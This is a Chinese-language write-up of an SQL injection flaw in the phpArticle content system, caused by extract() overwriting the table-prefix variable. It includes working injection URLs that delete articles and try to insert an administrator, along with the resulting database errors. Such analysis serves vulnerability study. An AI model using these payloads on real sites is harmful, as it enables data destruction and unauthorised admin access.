phparticle是PHP中最好的文章系統(tǒng)了,好像至今還沒有被黑的記錄,我以前學(xué)習(xí)PHP的時(shí)候就是看這個(gè)文章系統(tǒng)的代碼,感覺和VBB很相似,而且也仔細(xì)分析過,沒有什么漏洞,后來掌握PHP后,也就沒有再去分析他。給我的感覺是很安全的。
前段時(shí)間小花和我說phparticle有一個(gè)變量沒有初始化,我看了看,的確可以構(gòu)造這個(gè)變量,而且任意一個(gè)頁面都可以的,危害嘛,我沒有能力拿到有意義的東西,但是要破壞簡直輕而易舉,唉,終于明白破壞比建設(shè)簡單的原因了。
/global.php文件開頭是這樣寫的:
error_reporting(7);
if ($showqueries==1 OR $_GET[showqueries]==1){
$script_start_time = microtime();
}
require "admin/config.php";
require "admin/class/mysql.php";
require "admin/configs/setting.php";
//var_dump($configuration);
//extract($configuration,EXTR_SKIP);
extract($configuration,EXTR_OVERWRITE);
/admin/configs/setting.php文件中,變量$configuration是一個(gè)數(shù)組,是整個(gè)文章系統(tǒng)的配置參數(shù),為了減少查詢次數(shù),把的配置信息,寫進(jìn)文件,速度自然快很多,這個(gè)本來一切很正常很正常,但是一行代碼,就足以讓phparticle的數(shù)據(jù)可以瞬間消失。
extract($configuration,EXTR_OVERWRITE);
extract()函數(shù)在PHP手冊上是這么寫的:
int extract ( array var_array [, int extract_type [, string prefix]])
本函數(shù)用來將變量從數(shù)組中導(dǎo)入到當(dāng)前的符號表中。接受結(jié)合數(shù)組 var_array 作為參數(shù)并將鍵名當(dāng)作變量名,值作為變量的值。對每個(gè)鍵/值對都會在當(dāng)前的符號表中建立變量,并受到 extract_type 和 prefix 參數(shù)的影響。
注: 自版本 4.0.5 起本函數(shù)返回被提取的變量數(shù)目。
注: EXTR_IF_EXISTS 和 EXTR_PREFIX_IF_EXISTS 是版本 4.2.0 中引進(jìn)的。
注: EXTR_REFS 是版本 4.3.0 中引進(jìn)的。
extract() 檢查每個(gè)鍵名看是否可以作為一個(gè)合法的變量名,同時(shí)也檢查和符號表中已有的變量名的沖突。對待非法/數(shù)字和沖突的鍵名的方法將根據(jù) extract_type 參數(shù)決定??梢允且韵轮抵唬?/P>
EXTR_OVERWRITE
如果有沖突,覆蓋已有的變量。
很顯然,這里可以覆蓋任意變量,甚至系統(tǒng)變量,包括$_GET,$_POST等,真的不明白為什么作者要把上面那行給注釋掉用這個(gè)“EXTR_OVERWRITE”。
最關(guān)鍵的變量是admin/config.php下的$db_prefix變量,這是表前綴,這個(gè)是最有用的,因?yàn)閜hparticle里面的所有查詢都會在表面使用這個(gè)變量,肯定能造成SQL注入,但條件極為苛刻。從表的前綴這里構(gòu)造一個(gè)完整的SQL QUERY。然后把后面的語句給注釋掉。呵呵,說不定還可以load_file或者into outfile,竊喜~~
但是實(shí)際上并沒有這么順利,為了更清晰的測試。我就為所有的SQL QUERY設(shè)置了一個(gè)變量$sql,然后在系統(tǒng)的首頁輸出,來看看首先執(zhí)行的SQL語句是什么,是SELECT就可以注入,這樣能得到很多有用的信息。甚至……,如果是INSERT更好了,直接構(gòu)造語句插入一個(gè)管理員,是UPDATE也可以,把我注冊的用戶UPDATE成管理員組的角色,是DELETE嘛,就可以刪除任意數(shù)據(jù),結(jié)果輸出的語句是“DELETE FROM pa_session WHERE expiry<1103398532 111111111”,如圖:

非常惱火,如果這個(gè)DELETE語句錯(cuò)誤的話,就會顯示MYSQL的錯(cuò)誤信息,并停止運(yùn)行程序,根本不可能執(zhí)行下一句SQL語句,惱火。而且phparticle的容錯(cuò)處理非常不錯(cuò)。沒辦法返回WEB的物理路徑,如果當(dāng)前的用戶不是管理員,連MYSQL錯(cuò)誤信息都不能看到,我在本地測試的,因?yàn)槭枪芾韱T,所以MYSQL的出錯(cuò)信息都返回到屏幕上,對我們測試更加有幫助,咱們構(gòu)造一個(gè)完整的DELETE語句看看,成功以后,應(yīng)該會繼續(xù)執(zhí)行下一句SQL QUERY,我就隨便提交:
http://localhost/phparticle/global.php?configuration[db_prefix]=angel
結(jié)果返回:
phpArticle
--------------------------------------------------------------------------------
數(shù)據(jù)庫出錯(cuò):
SQL 無效: DELETE FROM angelsession WHERE expiry<1104152890
Mysql error description: Table 'article20.angelsession' doesn't exist
Mysql error number: 1146
Date: 2004-12-27 @ 21:08
Script: http://localhost/phparticle/global.php?configuration[db_prefix]=angel
Referer:
請嘗試刷新你的,如果仍然無法正常顯示,請聯(lián)系管理員.
錯(cuò)誤了,表不存在,不過數(shù)據(jù)庫名字已經(jīng)出來了,就是article20,當(dāng)然實(shí)際應(yīng)用是看不到這些信息的,因?yàn)閜hparticle有比較完善的會話檢查,所以不管瀏覽或是刷新任何一個(gè)頁面,都會先對session表操作,刪除用戶的會話,更新會話,查詢會話,都會有操作,因?yàn)橛脩舻顷?,在線用戶,還有用戶的狀態(tài),都是用session記錄的,了解這些以后,開始構(gòu)造一個(gè)完整的DELETE語句再看看下一步該怎么做:
http://localhost/phparticle/global.php?configuration[db_prefix]=pa_article where articleid=1/*
返回:
phpArticle
--------------------------------------------------------------------------------
數(shù)據(jù)庫出錯(cuò):
SQL 無效: SELECT COUNT(DISTINCT ipaddress) AS total FROM pa_article where articleid=1/*session WHERE expiry>1104153004
Mysql error description: Unknown column 'ipaddress' in 'field list'
Mysql error number: 1054
Date: 2004-12-27 @ 21:10
Script: http://localhost/phparticle/global.php?configuration[db_prefix]=pa_article%20where%20articleid=1/*
Referer:
請嘗試刷新你的瀏覽器,如果仍然無法正常顯示,請聯(lián)系管理員.
phpArticle
--------------------------------------------------------------------------------
數(shù)據(jù)庫出錯(cuò):
SQL 無效: INSERT INTO pa_article where articleid=1/*session (sessionid,expiry,value,userid,ipaddress,useragent,location,lastactivity)
VALUES ('a9fdc1b9d7e37b92686fb46486b41d20',1104154444,'pauserinfo|a:1:{s:14:\"timezoneoffset\";s:1:\"8\";}','','127.0.0.1','/4.0 (compatible; MSIE 6.0; Windows NT 5.2; Maxthon; .NET CLR 1.1.4322)','/phparticle/global.php?configuration[db_prefix]=pa_article%20where%20articleid=1/*','1104153004')
Mysql error description: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'where articleid=1/*session (sessionid,expiry,value,userid,ipaddr
Mysql error number: 1064
Date: 2004-12-27 @ 21:10
Script: http://localhost/phparticle/global.php?configuration[db_prefix]=pa_article%20where%20articleid=1/*
Referer:
請嘗試刷新你的瀏覽器,如果仍然無法正常顯示,請聯(lián)系管理員.
Warning: Unknown(): A session is active. You cannot change the session module's ini settings at this time. in Unknown on line 0
再看看文章系統(tǒng)。文章已經(jīng)成功刪除。但是SQL QUERY卻停留在SELECT上面了,而且出錯(cuò)信息已經(jīng)終止了程序的運(yùn)行,導(dǎo)致無法執(zhí)行下一個(gè)SQL QUERY,但是從出錯(cuò)的頁面看來,INSERT語句也用我們的參數(shù)執(zhí)行了,如圖:

我就想能不能直接構(gòu)造INSERT語句加一個(gè)管理員呢?
http://localhost/phparticle/global.php?configuration[db_prefix]=pa_user VALUES (null, char(110, 97, 109, 101), 1, char(102, 52, 102, 48, 54, 56, 101, 55, 49, 101, 48, 100, 56, 55, 98, 102, 48, 97, 100, 53, 49, 101, 54, 50, 49, 52, 97, 98, 56, 52, 101, 57), 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 8);/*
結(jié)果返回,看來行不通,在第一句SQL QUERY的時(shí)候,就出錯(cuò)終止了。
phpArticle
--------------------------------------------------------------------------------
數(shù)據(jù)庫出錯(cuò):
SQL 無效: DELETE FROM pa_user VALUES (null, char(110, 97, 109, 101), 1, char(102, 52, 102, 48, 54, 56, 101, 55, 49, 101, 48, 100, 56, 55, 98, 102, 48, 97, 100, 53, 49, 101, 54, 50, 49, 52, 97, 98, 56, 52, 101, 57), 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 8);/*session WHERE expiry<1104153372
Mysql error description: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'VALUES (null, char(110, 97, 109, 101), 1, char(102, 52, 102, 48, 54, 56, 101
Mysql error number: 1064
Date: 2004-12-27 @ 21:16
Script: http://localhost/phparticle/global.php?configuration[db_prefix]=pa_user%20VALUES%20(null, char(110, 97, 109, 101), 1, char(102, 52, 102, 48, 54, 56, 101, 55, 49, 101, 48, 100, 56, 55, 98, 102, 48, 97, 100, 53, 49, 101, 54, 50, 49, 52, 97, 98, 56, 52, 101, 57), 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 8);/*
Referer:
請嘗試刷新你的瀏覽器,如果仍然無法正常顯示,請聯(lián)系管理員.
到了這個(gè)地步,我只能無奈的提交:
http://localhost/phparticle/global.php?configuration[db_prefix]=pa_article/*
結(jié)束了這次測試。
看來這個(gè)phparticle寧死不屈,只能揉捏她,而不能占有她啊……如果哪位仁兄能占有她,記得和我分享啊。